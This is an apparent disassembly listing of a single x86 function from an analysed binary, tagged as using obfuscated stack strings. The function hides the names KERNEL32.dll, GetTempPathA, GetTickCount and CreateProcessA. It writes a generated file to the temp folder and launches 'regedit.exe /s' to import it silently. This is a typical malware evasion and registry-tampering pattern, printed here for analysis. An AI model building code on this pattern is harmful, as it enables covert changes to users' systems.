Function at 0x131574d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x6f4
push ebx
push ebp
push esi
mov esi, dword [sym.imp.kernel32.dll_LoadLibraryA]
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xec]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x40]
lea ecx, [esp + 0x10]
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x18], 0x4b
mov byte [esp + 0x19], 0x45
mov byte [esp + 0x1a], 0x52
mov byte [esp + 0x1b], 0x4e
mov byte [esp + 0x1c], 0x45
mov byte [esp + 0x1d], 0x4c
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x22], 0x6c
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x48], 0x47
mov byte [esp + 0x49], 0x65
mov byte [esp + 0x4a], 0x74
mov byte [esp + 0x4b], 0x54
mov byte [esp + 0x4c], 0x65
mov byte [esp + 0x4d], 0x6d
mov byte [esp + 0x4e], 0x70
mov byte [esp + 0x4f], 0x50
mov byte [esp + 0x50], 0x61
mov byte [esp + 0x51], 0x74
mov byte [esp + 0x52], 0x68
mov byte [esp + 0x53], 0x41
mov byte [esp + 0x54], bl
call esi
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push eax
call edi
lea edx, [esp + 0xec]
push edx
push 0x104
call eax
lea eax, [esp + 0x20]
lea ecx, [esp + 0x10]
push eax
push ecx
mov byte [esp + 0x28], 0x47
mov byte [esp + 0x29], 0x65
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x54
mov byte [esp + 0x2c], 0x69
mov byte [esp + 0x2d], 0x63
mov byte [esp + 0x2e], 0x6b
mov byte [esp + 0x2f], 0x43
mov byte [esp + 0x30], 0x6f
mov byte [esp + 0x31], 0x75
mov byte [esp + 0x32], 0x6e
mov byte [esp + 0x33], 0x74
mov byte [esp + 0x34], bl
call esi
push eax
call edi
call eax
lea edx, [esp + 0xec]
push eax
push edx
lea eax, [esp + 0x1f8]
push 0x1315227c
push eax
call sub.msvcrt.dll_sprintf
lea ecx, [esp + 0x200]
push 0x13152278
push ecx
call sub.msvcrt.dll_fopen
add esp, 0x18
mov ebp, eax
cmp ebp, ebx
je 0x131579d5
mov ecx, 0x103
xor eax, eax
lea edi, [esp + 0x2f5]
mov byte [esp + 0x2f4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 9
mov esi, 0x13152250
lea edi, [esp + 0xb4]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0xb4]
push ecx
push edx
call fcn.13157480
or ecx, 0xffffffff
lea edi, [esp + 0xbc]
xor eax, eax
lea edx, [esp + 0x2fc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2fc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x13152248
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2fc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x710]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2fc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x13152240
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2fc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x714]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2fc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, 0x1315223c
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2fc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x718]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x2fc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x13152234
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x2fc]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
push eax
call sub.msvcrt.dll_fputs
push ebp
call sub.msvcrt.dll_fclose
add esp, 0x14
push 0x64
call dword [sym.imp.kernel32.dll_Sleep]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0xec]
mov dl, 0x73
rep stosd dword es:[edi], eax
mov al, 0x20
lea edi, [esp + 0x60]
mov byte [esp + 0x6b], al
mov byte [esp + 0x6e], al
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x60], 0x72
mov byte [esp + 0x61], 0x65
mov byte [esp + 0x62], 0x67
mov byte [esp + 0x63], 0x65
mov byte [esp + 0x64], 0x64
mov byte [esp + 0x65], 0x69
mov byte [esp + 0x66], 0x74
mov byte [esp + 0x67], 0x2e
mov byte [esp + 0x68], 0x65
mov byte [esp + 0x69], 0x78
mov byte [esp + 0x6a], 0x65
mov byte [esp + 0x6c], 0x2f
mov byte [esp + 0x6d], dl
mov byte [esp + 0x6f], bl
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebp, [esp + 0xec]
mov esi, edi
mov edi, ebp
mov ebp, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea ebp, [esp + 0xec]
and ecx, 3
mov dword [esp + 0x70], 0x44
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1f0]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x78], ebx
mov esi, edi
mov edi, ebp
mov ebp, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
mov eax, 1
and ecx, 3
mov dword [esp + 0x74], ebx
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x9c], eax
mov word [esp + 0xa2], bx
mov dword [esp + 0xa4], ebx
mov byte [esp + 0x5b], dl
mov byte [esp + 0x5c], dl
lea ecx, [esp + 0x50]
lea edx, [esp + 0x30]
push ecx
push edx
mov word [esp + 0xa8], ax
mov byte [esp + 0x38], 0x4b
mov byte [esp + 0x39], 0x45
mov byte [esp + 0x3a], 0x52
mov byte [esp + 0x3b], 0x4e
mov byte [esp + 0x3c], 0x45
mov byte [esp + 0x3d], 0x4c
mov byte [esp + 0x3e], 0x33
mov byte [esp + 0x3f], 0x32
mov byte [esp + 0x40], 0x2e
mov byte [esp + 0x41], 0x64
mov byte [esp + 0x42], 0x6c
mov byte [esp + 0x43], 0x6c
mov byte [esp + 0x44], bl
mov byte [esp + 0x58], 0x43
mov byte [esp + 0x59], 0x72
mov byte [esp + 0x5a], 0x65
mov byte [esp + 0x5b], 0x61
mov byte [esp + 0x5c], 0x74
mov byte [esp + 0x5d], 0x65
mov byte [esp + 0x5e], 0x50
mov byte [esp + 0x5f], 0x72
mov byte [esp + 0x60], 0x6f
mov byte [esp + 0x61], 0x63
mov byte [esp + 0x62], 0x65
mov byte [esp + 0x65], 0x41
mov byte [esp + 0x66], bl
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
lea ecx, [esp + 0xdc]
lea edx, [esp + 0x70]
push ecx
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x108]
push ebx
push ecx
push ebx
call eax
neg eax
pop edi
pop esi
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0x6f4
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x6f4
ret